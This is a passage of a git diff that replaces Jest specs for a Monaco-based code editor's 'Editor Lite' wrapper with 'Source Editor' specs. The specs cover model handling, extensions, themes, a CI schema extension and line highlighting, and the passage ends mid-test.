- expect(instanceSpy).toHaveBeenCalledWith(editorEl, expect.anything());
- });
-
- it('creates correct model for the Diff Editor', () => {
- const instance = editor.createDiffInstance({ ...defaultArguments, blobOriginalContent });
- const getDiffModelValue = (model) => instance.getModel()[model].getValue();
-
- expect(modelSpy).toHaveBeenCalledTimes(2);
- expect(modelSpy.mock.calls[0]).toEqual([
- blobContent,
- undefined,
- expect.objectContaining({
- path: uriFilePath,
- }),
- ]);
- expect(modelSpy.mock.calls[1]).toEqual([blobOriginalContent, 'markdown']);
- expect(getDiffModelValue('original')).toBe(blobOriginalContent);
- expect(getDiffModelValue('modified')).toBe(blobContent);
- });
-
- it('correctly disposes the diff editor model', () => {
- const modifiedModel = fakeModel;
- const originalModel = { ...fakeModel };
- mockDecorateInstance({
- getModel: jest.fn().mockReturnValue({
- original: originalModel,
- modified: modifiedModel,
- }),
- });
-
- const instance = editor.createDiffInstance({ ...defaultArguments, blobOriginalContent });
-
- expect(editor.instances).toHaveLength(1);
- expect(originalModel.dispose).not.toHaveBeenCalled();
- expect(modifiedModel.dispose).not.toHaveBeenCalled();
-
- instance.dispose();
-
- expect(editor.instances).toHaveLength(0);
- expect(originalModel.dispose).toHaveBeenCalled();
- expect(modifiedModel.dispose).toHaveBeenCalled();
- });
- });
- });
-
- describe('multiple instances', () => {
- let instanceSpy;
- let inst1Args;
- let inst2Args;
- let editorEl1;
- let editorEl2;
- let inst1;
- let inst2;
- const readOnlyIndex = '68'; // readOnly option has the internal index of 68 in the editor's options
-
- beforeEach(() => {
- setFixtures('<div id="editor1"></div><div id="editor2"></div>');
- editorEl1 = document.getElementById('editor1');
- editorEl2 = document.getElementById('editor2');
- inst1Args = {
- el: editorEl1,
- };
- inst2Args = {
- el: editorEl2,
- blobContent,
- blobPath,
- };
-
- editor = new EditorLite();
- instanceSpy = jest.spyOn(monacoEditor, 'create');
- });
-
- afterEach(() => {
- editor.dispose();
- });
-
- it('can initialize several instances of the same editor', () => {
- editor.createInstance(inst1Args);
- expect(editor.instances).toHaveLength(1);
-
- editor.createInstance(inst2Args);
-
- expect(instanceSpy).toHaveBeenCalledTimes(2);
- expect(editor.instances).toHaveLength(2);
- });
-
- it('sets independent models on independent instances', () => {
- inst1 = editor.createInstance(inst1Args);
- inst2 = editor.createInstance(inst2Args);
-
- const model1 = inst1.getModel();
- const model2 = inst2.getModel();
-
- expect(model1).toBeDefined();
- expect(model2).toBeDefined();
- expect(model1).not.toEqual(model2);
- });
-
- it('does not create a new model if a model for the path & globalId combo already exists', () => {
- const modelSpy = jest.spyOn(monacoEditor, 'createModel');
- inst1 = editor.createInstance({ ...inst2Args, blobGlobalId });
- inst2 = editor.createInstance({ ...inst2Args, el: editorEl1, blobGlobalId });
-
- const model1 = inst1.getModel();
- const model2 = inst2.getModel();
-
- expect(modelSpy).toHaveBeenCalledTimes(1);
- expect(model1).toBe(model2);
- });
-
- it('shares global editor options among all instances', () => {
- editor = new EditorLite({
- readOnly: true,
- });
-
- inst1 = editor.createInstance(inst1Args);
- expect(inst1.getOption(readOnlyIndex)).toBe(true);
-
- inst2 = editor.createInstance(inst2Args);
- expect(inst2.getOption(readOnlyIndex)).toBe(true);
- });
-
- it('allows overriding editor options on the instance level', () => {
- editor = new EditorLite({
- readOnly: true,
- });
- inst1 = editor.createInstance({
- ...inst1Args,
- readOnly: false,
- });
-
- expect(inst1.getOption(readOnlyIndex)).toBe(false);
- });
-
- it('disposes instances and relevant models independently from each other', () => {
- inst1 = editor.createInstance(inst1Args);
- inst2 = editor.createInstance(inst2Args);
-
- expect(inst1.getModel()).not.toBe(null);
- expect(inst2.getModel()).not.toBe(null);
- expect(editor.instances).toHaveLength(2);
- expect(monacoEditor.getModels()).toHaveLength(2);
-
- inst1.dispose();
-
- expect(inst1.getModel()).toBe(null);
- expect(inst2.getModel()).not.toBe(null);
- expect(editor.instances).toHaveLength(1);
- expect(monacoEditor.getModels()).toHaveLength(1);
- });
- });
-
- describe('implementation', () => {
- let instance;
- beforeEach(() => {
- instance = editor.createInstance({ el: editorEl, blobPath, blobContent });
- });
-
- it('correctly proxies value from the model', () => {
- expect(instance.getValue()).toBe(blobContent);
- });
-
- it('is capable of changing the language of the model', () => {
- // ignore warnings and errors Monaco posts during setup
- // (due to being called from Jest/Node.js environment)
- jest.spyOn(console, 'warn').mockImplementation(() => {});
- jest.spyOn(console, 'error').mockImplementation(() => {});
-
- const blobRenamedPath = 'test.js';
-
- expect(instance.getModel().getLanguageIdentifier().language).toBe('markdown');
- instance.updateModelLanguage(blobRenamedPath);
-
- expect(instance.getModel().getLanguageIdentifier().language).toBe('javascript');
- });
-
- it('falls back to plaintext if there is no language associated with an extension', () => {
- const blobRenamedPath = 'test.myext';
- const spy = jest.spyOn(console, 'error').mockImplementation(() => {});
-
- instance.updateModelLanguage(blobRenamedPath);
-
- expect(spy).not.toHaveBeenCalled();
- expect(instance.getModel().getLanguageIdentifier().language).toBe('plaintext');
- });
- });
-
- describe('extensions', () => {
- let instance;
- const alphaRes = jest.fn();
- const betaRes = jest.fn();
- const fooRes = jest.fn();
- const barRes = jest.fn();
- class AlphaClass {
- constructor() {
- this.res = alphaRes;
- }
- alpha() {
- return this?.nonExistentProp || alphaRes;
- }
- }
- class BetaClass {
- beta() {
- return this?.nonExistentProp || betaRes;
- }
- }
- class WithStaticMethod {
- constructor({ instance: inst, ...options } = {}) {
- Object.assign(inst, options);
- }
- static computeBoo(a) {
- return a + 1;
- }
- boo() {
- return WithStaticMethod.computeBoo(this.base);
- }
- }
- class WithStaticMethodExtended extends EditorLiteExtension {
- static computeBoo(a) {
- return a + 1;
- }
- boo() {
- return WithStaticMethodExtended.computeBoo(this.base);
- }
- }
- const AlphaExt = new AlphaClass();
- const BetaExt = new BetaClass();
- const FooObjExt = {
- foo() {
- return fooRes;
- },
- };
- const BarObjExt = {
- bar() {
- return barRes;
- },
- };
-
- describe('basic functionality', () => {
- beforeEach(() => {
- instance = editor.createInstance({ el: editorEl, blobPath, blobContent });
- });
-
- it('does not fail if no extensions supplied', () => {
- const spy = jest.spyOn(global.console, 'error');
- instance.use();
-
- expect(spy).not.toHaveBeenCalled();
- });
-
- it("does not extend instance with extension's constructor", () => {
- expect(instance.constructor).toBeDefined();
- const { constructor } = instance;
-
- expect(AlphaExt.constructor).toBeDefined();
- expect(AlphaExt.constructor).not.toEqual(constructor);
-
- instance.use(AlphaExt);
- expect(instance.constructor).toBe(constructor);
- });
-
- it.each`
- type | extensions | methods | expectations
- ${'ES6 classes'} | ${AlphaExt} | ${['alpha']} | ${[alphaRes]}
- ${'multiple ES6 classes'} | ${[AlphaExt, BetaExt]} | ${['alpha', 'beta']} | ${[alphaRes, betaRes]}
- ${'simple objects'} | ${FooObjExt} | ${['foo']} | ${[fooRes]}
- ${'multiple simple objects'} | ${[FooObjExt, BarObjExt]} | ${['foo', 'bar']} | ${[fooRes, barRes]}
- ${'combination of ES6 classes and objects'} | ${[AlphaExt, BarObjExt]} | ${['alpha', 'bar']} | ${[alphaRes, barRes]}
- `('is extensible with $type', ({ extensions, methods, expectations } = {}) => {
- methods.forEach((method) => {
- expect(instance[method]).toBeUndefined();
- });
-
- instance.use(extensions);
-
- methods.forEach((method) => {
- expect(instance[method]).toBeDefined();
- });
-
- expectations.forEach((expectation, i) => {
- expect(instance[methods[i]].call()).toEqual(expectation);
- });
- });
-
- it('does not extend instance with private data of an extension', () => {
- const ext = new WithStaticMethod({ instance });
- ext.staticMethod = () => {
- return 'foo';
- };
- ext.staticProp = 'bar';
-
- expect(instance.boo).toBeUndefined();
- expect(instance.staticMethod).toBeUndefined();
- expect(instance.staticProp).toBeUndefined();
-
- instance.use(ext);
-
- expect(instance.boo).toBeDefined();
- expect(instance.staticMethod).toBeUndefined();
- expect(instance.staticProp).toBeUndefined();
- });
-
- it.each([WithStaticMethod, WithStaticMethodExtended])(
- 'properly resolves data for an extension with private data',
- (ExtClass) => {
- const base = 1;
- expect(instance.base).toBeUndefined();
- expect(instance.boo).toBeUndefined();
-
- const ext = new ExtClass({ instance, base });
-
- instance.use(ext);
- expect(instance.base).toBe(1);
- expect(instance.boo()).toBe(2);
- },
- );
-
- it('uses the last definition of a method in case of an overlap', () => {
- const FooObjExt2 = { foo: 'foo2' };
- instance.use([FooObjExt, BarObjExt, FooObjExt2]);
- expect(instance).toMatchObject({
- foo: 'foo2',
- ...BarObjExt,
- });
- });
-
- it('correctly resolves references withing extensions', () => {
- const FunctionExt = {
- inst() {
- return this;
- },
- mod() {
- return this.getModel();
- },
- };
- instance.use(FunctionExt);
- expect(instance.inst()).toEqual(editor.instances[0]);
- });
- });
-
- describe('extensions as an instance parameter', () => {
- let editorExtensionSpy;
- const instanceConstructor = (extensions = []) => {
- return editor.createInstance({
- el: editorEl,
- blobPath,
- blobContent,
- extensions,
- });
- };
-
- beforeEach(() => {
- editorExtensionSpy = jest
- .spyOn(EditorLite, 'pushToImportsArray')
- .mockImplementation((arr) => {
- arr.push(
- Promise.resolve({
- default: {},
- }),
- );
- });
- });
-
- it.each([undefined, [], [''], ''])(
- 'does not fail and makes no fetch if extensions is %s',
- () => {
- instance = instanceConstructor(null);
- expect(editorExtensionSpy).not.toHaveBeenCalled();
- },
- );
-
- it.each`
- type | value | callsCount
- ${'simple string'} | ${'foo'} | ${1}
- ${'combined string'} | ${'foo, bar'} | ${2}
- ${'array of strings'} | ${['foo', 'bar']} | ${2}
- `('accepts $type as an extension parameter', ({ value, callsCount }) => {
- instance = instanceConstructor(value);
- expect(editorExtensionSpy).toHaveBeenCalled();
- expect(editorExtensionSpy.mock.calls).toHaveLength(callsCount);
- });
-
- it.each`
- desc | path | expectation
- ${'~/editor'} | ${'foo'} | ${'~/editor/foo'}
- ${'~/CUSTOM_PATH with leading slash'} | ${'/my_custom_path/bar'} | ${'~/my_custom_path/bar'}
- ${'~/CUSTOM_PATH without leading slash'} | ${'my_custom_path/delta'} | ${'~/my_custom_path/delta'}
- `('fetches extensions from $desc path', ({ path, expectation }) => {
- instance = instanceConstructor(path);
- expect(editorExtensionSpy).toHaveBeenCalledWith(expect.any(Array), expectation);
- });
-
- it('emits EDITOR_READY_EVENT event after all extensions were applied', async () => {
- const calls = [];
- const eventSpy = jest.fn().mockImplementation(() => {
- calls.push('event');
- });
- const useSpy = jest.fn().mockImplementation(() => {
- calls.push('use');
- });
- jest.spyOn(EditorLite, 'convertMonacoToELInstance').mockImplementation((inst) => {
- const decoratedInstance = inst;
- decoratedInstance.use = useSpy;
- return decoratedInstance;
- });
- editorEl.addEventListener(EDITOR_READY_EVENT, eventSpy);
- instance = instanceConstructor('foo, bar');
- await waitForPromises();
- expect(useSpy.mock.calls).toHaveLength(2);
- expect(calls).toEqual(['use', 'use', 'event']);
- });
- });
-
- describe('multiple instances', () => {
- let inst1;
- let inst2;
- let editorEl1;
- let editorEl2;
-
- beforeEach(() => {
- setFixtures('<div id="editor1"></div><div id="editor2"></div>');
- editorEl1 = document.getElementById('editor1');
- editorEl2 = document.getElementById('editor2');
- inst1 = editor.createInstance({ el: editorEl1, blobPath: `foo-${blobPath}` });
- inst2 = editor.createInstance({ el: editorEl2, blobPath: `bar-${blobPath}` });
- });
-
- afterEach(() => {
- editor.dispose();
- editorEl1.remove();
- editorEl2.remove();
- });
-
- it('extends all instances if no specific instance is passed', () => {
- editor.use(AlphaExt);
- expect(inst1.alpha()).toEqual(alphaRes);
- expect(inst2.alpha()).toEqual(alphaRes);
- });
- });
- });
-
- describe('languages', () => {
- it('registers custom languages defined with Monaco', () => {
- expect(monacoLanguages.getLanguages()).toEqual(
- expect.arrayContaining([
- expect.objectContaining({
- id: 'vue',
- }),
- ]),
- );
- });
- });
-
- describe('syntax highlighting theme', () => {
- let themeDefineSpy;
- let themeSetSpy;
- let defaultScheme;
-
- beforeEach(() => {
- themeDefineSpy = jest.spyOn(monacoEditor, 'defineTheme').mockImplementation(() => {});
- themeSetSpy = jest.spyOn(monacoEditor, 'setTheme').mockImplementation(() => {});
- defaultScheme = window.gon.user_color_scheme;
- });
-
- afterEach(() => {
- window.gon.user_color_scheme = defaultScheme;
- });
-
- it('sets default syntax highlighting theme', () => {
- const expectedTheme = themes.find((t) => t.name === DEFAULT_THEME);
-
- editor = new EditorLite();
-
- expect(themeDefineSpy).toHaveBeenCalledWith(DEFAULT_THEME, expectedTheme.data);
- expect(themeSetSpy).toHaveBeenCalledWith(DEFAULT_THEME);
- });
-
- it('sets correct theme if it is set in users preferences', () => {
- const expectedTheme = themes.find((t) => t.name !== DEFAULT_THEME);
-
- expect(expectedTheme.name).not.toBe(DEFAULT_THEME);
-
- window.gon.user_color_scheme = expectedTheme.name;
- editor = new EditorLite();
-
- expect(themeDefineSpy).toHaveBeenCalledWith(expectedTheme.name, expectedTheme.data);
- expect(themeSetSpy).toHaveBeenCalledWith(expectedTheme.name);
- });
-
- it('falls back to default theme if a selected one is not supported yet', () => {
- const name = 'non-existent-theme';
- const nonExistentTheme = { name };
-
- window.gon.user_color_scheme = nonExistentTheme.name;
- editor = new EditorLite();
-
- expect(themeDefineSpy).not.toHaveBeenCalled();
- expect(themeSetSpy).toHaveBeenCalledWith(DEFAULT_THEME);
- });
- });
-});
diff --git a/spec/frontend/editor/editor_markdown_ext_spec.js b/spec/frontend/editor/editor_markdown_ext_spec.js
deleted file mode 100644
index 3f64dcfd7a0..00000000000
--- a/spec/frontend/editor/editor_markdown_ext_spec.js
+++ /dev/null
@@ -1,204 +0,0 @@
-import { Range, Position } from 'monaco-editor';
-import EditorLite from '~/editor/editor_lite';
-import { EditorMarkdownExtension } from '~/editor/extensions/editor_markdown_ext';
-
-describe('Markdown Extension for Editor Lite', () => {
- let editor;
- let instance;
- let editorEl;
- const firstLine = 'This is a';
- const secondLine = 'multiline';
- const thirdLine = 'string with some **markup**';
- const text = `${firstLine}\n${secondLine}\n${thirdLine}`;
- const filePath = 'foo.md';
-
- const setSelection = (startLineNumber = 1, startColumn = 1, endLineNumber = 1, endColumn = 1) => {
- const selection = new Range(startLineNumber, startColumn, endLineNumber, endColumn);
- instance.setSelection(selection);
- };
- const selectSecondString = () => setSelection(2, 1, 2, secondLine.length + 1); // select the whole second line
- const selectSecondAndThirdLines = () => setSelection(2, 1, 3, thirdLine.length + 1); // select second and third lines
-
- const selectionToString = () => instance.getSelection().toString();
- const positionToString = () => instance.getPosition().toString();
-
- beforeEach(() => {
- setFixtures('<div id="editor" data-editor-loading></div>');
- editorEl = document.getElementById('editor');
- editor = new EditorLite();
- instance = editor.createInstance({
- el: editorEl,
- blobPath: filePath,
- blobContent: text,
- });
- editor.use(new EditorMarkdownExtension());
- });
-
- afterEach(() => {
- instance.dispose();
- editorEl.remove();
- });
-
- describe('getSelectedText', () => {
- it('does not fail if there is no selection and returns the empty string', () => {
- jest.spyOn(instance, 'getSelection');
- const resText = instance.getSelectedText();
-
- expect(instance.getSelection).toHaveBeenCalled();
- expect(resText).toBe('');
- });
-
- it.each`
- description | selection | expectedString
- ${'same-line'} | ${[1, 1, 1, firstLine.length + 1]} | ${firstLine}
- ${'two-lines'} | ${[1, 1, 2, secondLine.length + 1]} | ${`${firstLine}\n${secondLine}`}
- ${'multi-lines'} | ${[1, 1, 3, thirdLine.length + 1]} | ${text}
- `('correctly returns selected text for $description', ({ selection, expectedString }) => {
- setSelection(...selection);
-
- const resText = instance.getSelectedText();
-
- expect(resText).toBe(expectedString);
- });
-
- it('accepts selection object that serves as a source instead of current selection', () => {
- selectSecondString();
- const firstLineSelection = new Range(1, 1, 1, firstLine.length + 1);
-
- const resText = instance.getSelectedText(firstLineSelection);
-
- expect(resText).toBe(firstLine);
- });
- });
-
- describe('replaceSelectedText', () => {
- const expectedStr = 'foo';
-
- it('replaces selected text with the supplied one', () => {
- selectSecondString();
- instance.replaceSelectedText(expectedStr);
-
- expect(instance.getValue()).toBe(`${firstLine}\n${expectedStr}\n${thirdLine}`);
- });
-
- it('prepends the supplied text if no text is selected', () => {
- instance.replaceSelectedText(expectedStr);
- expect(instance.getValue()).toBe(`${expectedStr}${firstLine}\n${secondLine}\n${thirdLine}`);
- });
-
- it('replaces selection with empty string if no text is supplied', () => {
- selectSecondString();
- instance.replaceSelectedText();
- expect(instance.getValue()).toBe(`${firstLine}\n\n${thirdLine}`);
- });
-
- it('puts cursor at the end of the new string and collapses selection by default', () => {
- selectSecondString();
- instance.replaceSelectedText(expectedStr);
-
- expect(positionToString()).toBe(`(2,${expectedStr.length + 1})`);
- expect(selectionToString()).toBe(
- `[2,${expectedStr.length + 1} -> 2,${expectedStr.length + 1}]`,
- );
- });
-
- it('puts cursor at the end of the new string and keeps selection if "select" is supplied', () => {
- const select = 'url';
- const complexReplacementString = `[${secondLine}](${select})`;
- selectSecondString();
- instance.replaceSelectedText(complexReplacementString, select);
-
- expect(positionToString()).toBe(`(2,${complexReplacementString.length + 1})`);
- expect(selectionToString()).toBe(`[2,1 -> 2,${complexReplacementString.length + 1}]`);
- });
- });
-
- describe('moveCursor', () => {
- const setPosition = (endCol) => {
- const currentPos = new Position(2, endCol);
- instance.setPosition(currentPos);
- };
-
- it.each`
- direction | condition | startColumn | shift | endPosition
- ${'left'} | ${'negative'} | ${secondLine.length + 1} | ${-1} | ${`(2,${secondLine.length})`}
- ${'left'} | ${'negative'} | ${secondLine.length} | ${secondLine.length * -1} | ${'(2,1)'}
- ${'right'} | ${'positive'} | ${1} | ${1} | ${'(2,2)'}
- ${'right'} | ${'positive'} | ${2} | ${secondLine.length} | ${`(2,${secondLine.length + 1})`}
- ${'up'} | ${'positive'} | ${1} | ${[0, -1]} | ${'(1,1)'}
- ${'top of file'} | ${'positive'} | ${1} | ${[0, -100]} | ${'(1,1)'}
- ${'down'} | ${'negative'} | ${1} | ${[0, 1]} | ${'(3,1)'}
- ${'end of file'} | ${'negative'} | ${1} | ${[0, 100]} | ${`(3,${thirdLine.length + 1})`}
- ${'end of line'} | ${'too large'} | ${1} | ${secondLine.length + 100} | ${`(2,${secondLine.length + 1})`}
- ${'start of line'} | ${'too low'} | ${1} | ${-100} | ${'(2,1)'}
- `(
- 'moves cursor to the $direction if $condition supplied',
- ({ startColumn, shift, endPosition }) => {
- setPosition(startColumn);
- if (Array.isArray(shift)) {
- instance.moveCursor(...shift);
- } else {
- instance.moveCursor(shift);
- }
- expect(positionToString()).toBe(endPosition);
- },
- );
- });
-
- describe('selectWithinSelection', () => {
- it('scopes down current selection to supplied text', () => {
- const selectedText = `${secondLine}\n${thirdLine}`;
- const toSelect = 'string';
- selectSecondAndThirdLines();
-
- expect(selectionToString()).toBe(`[2,1 -> 3,${thirdLine.length + 1}]`);
-
- instance.selectWithinSelection(toSelect, selectedText);
- expect(selectionToString()).toBe(`[3,1 -> 3,${toSelect.length + 1}]`);
- });
-
- it('does not fail when only `toSelect` is supplied and fetches the text from selection', () => {
- jest.spyOn(instance, 'getSelectedText');
- const toSelect = 'string';
- selectSecondAndThirdLines();
-
- instance.selectWithinSelection(toSelect);
-
- expect(instance.getSelectedText).toHaveBeenCalled();
- expect(selectionToString()).toBe(`[3,1 -> 3,${toSelect.length + 1}]`);
- });
-
- it('does nothing if no `toSelect` is supplied', () => {
- selectSecondAndThirdLines();
- const expectedPos = `(3,${thirdLine.length + 1})`;
- const expectedSelection = `[2,1 -> 3,${thirdLine.length + 1}]`;
-
- expect(positionToString()).toBe(expectedPos);
- expect(selectionToString()).toBe(expectedSelection);
-
- instance.selectWithinSelection();
-
- expect(positionToString()).toBe(expectedPos);
- expect(selectionToString()).toBe(expectedSelection);
- });
-
- it('does nothing if no selection is set in the editor', () => {
- const expectedPos = '(1,1)';
- const expectedSelection = '[1,1 -> 1,1]';
- const toSelect = 'string';
-
- expect(positionToString()).toBe(expectedPos);
- expect(selectionToString()).toBe(expectedSelection);
-
- instance.selectWithinSelection(toSelect);
-
- expect(positionToString()).toBe(expectedPos);
- expect(selectionToString()).toBe(expectedSelection);
-
- instance.selectWithinSelection();
-
- expect(positionToString()).toBe(expectedPos);
- expect(selectionToString()).toBe(expectedSelection);
- });
- });
-});
diff --git a/spec/frontend/editor/source_editor_ci_schema_ext_spec.js b/spec/frontend/editor/source_editor_ci_schema_ext_spec.js
new file mode 100644
index 00000000000..07ac080fe08
--- /dev/null
+++ b/spec/frontend/editor/source_editor_ci_schema_ext_spec.js
@@ -0,0 +1,108 @@
+import { languages } from 'monaco-editor';
+import { TEST_HOST } from 'helpers/test_constants';
+import { EXTENSION_CI_SCHEMA_FILE_NAME_MATCH } from '~/editor/constants';
+import { CiSchemaExtension } from '~/editor/extensions/source_editor_ci_schema_ext';
+import SourceEditor from '~/editor/source_editor';
+
+const mockRef = 'AABBCCDD';
+
+describe('~/editor/editor_ci_config_ext', () => {
+ const defaultBlobPath = '.gitlab-ci.yml';
+
+ let editor;
+ let instance;
+ let editorEl;
+ let originalGitlabUrl;
+
+ const createMockEditor = ({ blobPath = defaultBlobPath } = {}) => {
+ setFixtures('<div id="editor"></div>');
+ editorEl = document.getElementById('editor');
+ editor = new SourceEditor();
+ instance = editor.createInstance({
+ el: editorEl,
+ blobPath,
+ blobContent: '',
+ });
+ instance.use(new CiSchemaExtension());
+ };
+
+ beforeAll(() => {
+ originalGitlabUrl = gon.gitlab_url;
+ gon.gitlab_url = TEST_HOST;
+ });
+
+ afterAll(() => {
+ gon.gitlab_url = originalGitlabUrl;
+ });
+
+ beforeEach(() => {
+ createMockEditor();
+ });
+
+ afterEach(() => {
+ instance.dispose();
+ editorEl.remove();
+ });
+
+ describe('registerCiSchema', () => {
+ beforeEach(() => {
+ jest.spyOn(languages.yaml.yamlDefaults, 'setDiagnosticsOptions');
+ });
+
+ describe('register validations options with monaco for yaml language', () => {
+ const mockProjectNamespace = 'namespace1';
+ const mockProjectPath = 'project1';
+
+ const getConfiguredYmlSchema = () => {
+ return languages.yaml.yamlDefaults.setDiagnosticsOptions.mock.calls[0][0].schemas[0];
+ };
+
+ it('with expected basic validation configuration', () => {
+ instance.registerCiSchema({
+ projectNamespace: mockProjectNamespace,
+ projectPath: mockProjectPath,
+ });
+
+ const expectedOptions = {
+ validate: true,
+ enableSchemaRequest: true,
+ hover: true,
+ completion: true,
+ };
+
+ expect(languages.yaml.yamlDefaults.setDiagnosticsOptions).toHaveBeenCalledTimes(1);
+ expect(languages.yaml.yamlDefaults.setDiagnosticsOptions).toHaveBeenCalledWith(
+ expect.objectContaining(expectedOptions),
+ );
+ });
+
+ it('with an schema uri that contains project and ref', () => {
+ instance.registerCiSchema({
+ projectNamespace: mockProjectNamespace,
+ projectPath: mockProjectPath,
+ ref: mockRef,
+ });
+
+ expect(getConfiguredYmlSchema()).toEqual({
+ uri: `${TEST_HOST}/${mockProjectNamespace}/${mockProjectPath}/-/schema/${mockRef}/${EXTENSION_CI_SCHEMA_FILE_NAME_MATCH}`,
+ fileMatch: [defaultBlobPath],
+ });
+ });
+
+ it('with an alternative file name match', () => {
+ createMockEditor({ blobPath: 'dir1/dir2/another-ci-filename.yml' });
+
+ instance.registerCiSchema({
+ projectNamespace: mockProjectNamespace,
+ projectPath: mockProjectPath,
+ ref: mockRef,
+ });
+
+ expect(getConfiguredYmlSchema()).toEqual({
+ uri: `${TEST_HOST}/${mockProjectNamespace}/${mockProjectPath}/-/schema/${mockRef}/${EXTENSION_CI_SCHEMA_FILE_NAME_MATCH}`,
+ fileMatch: ['another-ci-filename.yml'],
+ });
+ });
+ });
+ });
+});
diff --git a/spec/frontend/editor/source_editor_extension_base_spec.js b/spec/frontend/editor/source_editor_extension_base_spec.js
new file mode 100644
index 00000000000..352db9d0d51
--- /dev/null
+++ b/spec/frontend/editor/source_editor_extension_base_spec.js
@@ -0,0 +1,279 @@
+import { Range } from 'monaco-editor';
+import { useFakeRequestAnimationFrame } from 'helpers/fake_request_animation_frame';
+import {
+ ERROR_INSTANCE_REQUIRED_FOR_EXTENSION,
+ EDITOR_TYPE_CODE,
+ EDITOR_TYPE_DIFF,
+} from '~/editor/constants';
+import { SourceEditorExtension } from '~/editor/extensions/source_editor_extension_base';
+
+jest.mock('~/helpers/startup_css_helper', () => {
+ return {
+ waitForCSSLoaded: jest.fn().mockImplementation((cb) => {
+ // We have to artificially put the callback's execution
+ // to the end of the current call stack to be able to
+ // test that the callback is called after waitForCSSLoaded.
+ // setTimeout with 0 delay does exactly that.
+ // Otherwise we might end up with false positive results
+ setTimeout(() => {
+ cb.apply();
+ }, 0);
+ }),
+ };
+});
+
+describe('The basis for an Source Editor extension', () => {
+ const defaultLine = 3;
+ let ext;
+ let event;
+
+ const defaultOptions = { foo: 'bar' };
+ const findLine = (num) => {
+ return document.querySelector(`.line-numbers:nth-child(${num})`);
+ };
+ const generateLines = () => {
+ let res = '';
+ for (let line = 1, lines = 5; line <= lines; line += 1) {
+ res += `<div class="line-numbers">${line}</div>`;
+ }
+ return res;
+ };
+ const generateEventMock = ({ line = defaultLine, el = null } = {}) => {
+ return {
+ target: {
+ element: el || findLine(line),
+ position: {
+ lineNumber: line,
+ },
+ },
+ };
+ };
+
+ beforeEach(() => {
+ setFixtures(generateLines());
+ event = generateEventMock();
+ });
+
+ afterEach(() => {
+ jest.clearAllMocks();
+ });
+
+ describe('constructor', () => {
+ it('resets the layout in waitForCSSLoaded callback', async () => {
+ const instance = {
+ layout: jest.fn(),
+ };
+ ext = new SourceEditorExtension({ instance });
+ expect(instance.layout).not.toHaveBeenCalled();
+
+ // We're waiting for the waitForCSSLoaded mock to kick in
+ await jest.runOnlyPendingTimers();
+
+ expect(instance.layout).toHaveBeenCalled();
+ });
+
+ it.each`
+ description | instance | options
+ ${'accepts configuration options and instance'} | ${{}} | ${defaultOptions}
+ ${'leaves instance intact if no options are passed'} | ${{}} | ${undefined}
+ ${'does not fail if both instance and the options are omitted'} | ${undefined} | ${undefined}
+ ${'throws if only options are passed'} | ${undefined} | ${defaultOptions}
+ `('$description', ({ instance, options } = {}) => {
+ SourceEditorExtension.deferRerender = jest.fn();
+ const originalInstance = { ...instance };
+
+ if (instance) {
+ if (options) {
+ Object.entries(options).forEach((prop) => {
+ expect(instance[prop]).toBeUndefined();
+ });
+ // Both instance and options are passed
+ ext = new SourceEditorExtension({ instance, ...options });
+ Object.entries(options).forEach(([prop, value]) => {
+ expect(ext[prop]).toBeUndefined();
+ expect(instance[prop]).toBe(value);
+ });
+ } else {
+ ext = new SourceEditorExtension({ instance });
+ expect(instance).toEqual(originalInstance);
+ }
+ } else if (options) {
+ // Options are passed without instance
+ expect(() => {
+ ext = new SourceEditorExtension({ ...options });
+ }).toThrow(ERROR_INSTANCE_REQUIRED_FOR_EXTENSION);
+ } else {
+ // Neither options nor instance are passed
+ expect(() => {
+ ext = new SourceEditorExtension();
+ }).not.toThrow();
+ }
+ });
+
+ it('initializes the line highlighting', () => {
+ SourceEditorExtension.deferRerender = jest.fn();
+ const spy = jest.spyOn(SourceEditorExtension, 'highlightLines');
+ ext = new SourceEditorExtension({ instance: {} });
+ expect(spy).toHaveBeenCalled();
+ });
+
+ it('sets up the line linking for code instance', () => {
+ SourceEditorExtension.deferRerender = jest.fn();
+ const spy = jest.spyOn(SourceEditorExtension, 'setupLineLinking');
+ const instance = {
+ getEditorType: jest.fn().mockReturnValue(EDITOR_TYPE_CODE),
+ onMouseMove: jest.fn(),
+ onMouseDown: jest.fn(),
+ };
+ ext = new SourceEditorExtension({ instance });
+ expect(spy).toHaveBeenCalledWith(instance);
+ });
+
+ it('does not set up the line linking for diff instance', () => {
+ SourceEditorExtension.deferRerender = jest.fn();
+ const spy = jest.spyOn(SourceEditorExtension, 'setupLineLinking');
+ const instance = {
+ getEditorType: jest.fn().mockReturnValue(EDITOR_TYPE_DIFF),
+ };
+ ext = new SourceEditorExtension({ instance });
+ expect(spy).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('highlightLines', () => {
+ const revealSpy = jest.fn();
+ const decorationsSpy = jest.fn();
+ const instance = {
+ revealLineInCenter: revealSpy,
+ deltaDecorations: decorationsSpy,
+ };
+ const defaultDecorationOptions = { isWholeLine: true, className: 'active-line-text' };
+
+ useFakeRequestAnimationFrame();
+
+ beforeEach(() => {
+ delete window.location;
+ window.location = new URL(`https://localhost`);
+ });
+
+ afterEach(() => {
+ window.location.hash = '';
+ });
+
+ it.each`
+ desc | hash | shouldReveal | expectedRange
+ ${'properly decorates a single line'} | ${'#L10'} | ${true} | ${[10, 1, 10, 1]}
+ ${'properly decorates multiple lines'} | ${'#L7-42'} | ${true} | ${[7, 1, 42, 1]}
+ ${'correctly highlights if lines are reversed'} | ${'#L42-7'} | ${true} | ${[7, 1, 42, 1]}
+ ${'highlights one line if start/end are the same'} | ${'#L7-7'} | ${true} | ${[7, 1, 7, 1]}
+ ${'does not highlight if there is no hash'} | ${''} | ${false} | ${null}
+ ${'does not highlight if the hash is undefined'} | ${undefined} | ${false} | ${null}
+ ${'does not highlight if hash is incomplete 1'} | ${'#L'} | ${false} | ${null}
+ ${'does not highlight if hash is incomplete 2'} | ${'#L-'} | ${false} | ${null}
+ `('$desc', ({ hash, shouldReveal, expectedRange } = {}) => {
+ window.location.hash = hash;
+ SourceEditorExtension.highlightLines(instance);
+ if (!shouldReveal) {
+ expect(revealSpy).not.toHaveBeenCalled();
+ expect(decorationsSpy).not.toHaveBeenCalled();
+ } else {
+ expect(revealSpy).toHaveBeenCalledWith(expectedRange[0]);
+ expect(decorationsSpy).toHaveBeenCalledWith(
+ [],
+ [
+ {
+ range: new Range(...expectedRange),
+ options: defaultDecorationOptions,
+ },
+ ],
+ );
+ }
+ });
+
+ it('stores the line decorations on the instance', () => {
+ decorationsSpy.mockReturnValue('foo');
+ window.location.hash = '#L10';
+ expect(instance.lineDecorations).toBeUndefined();
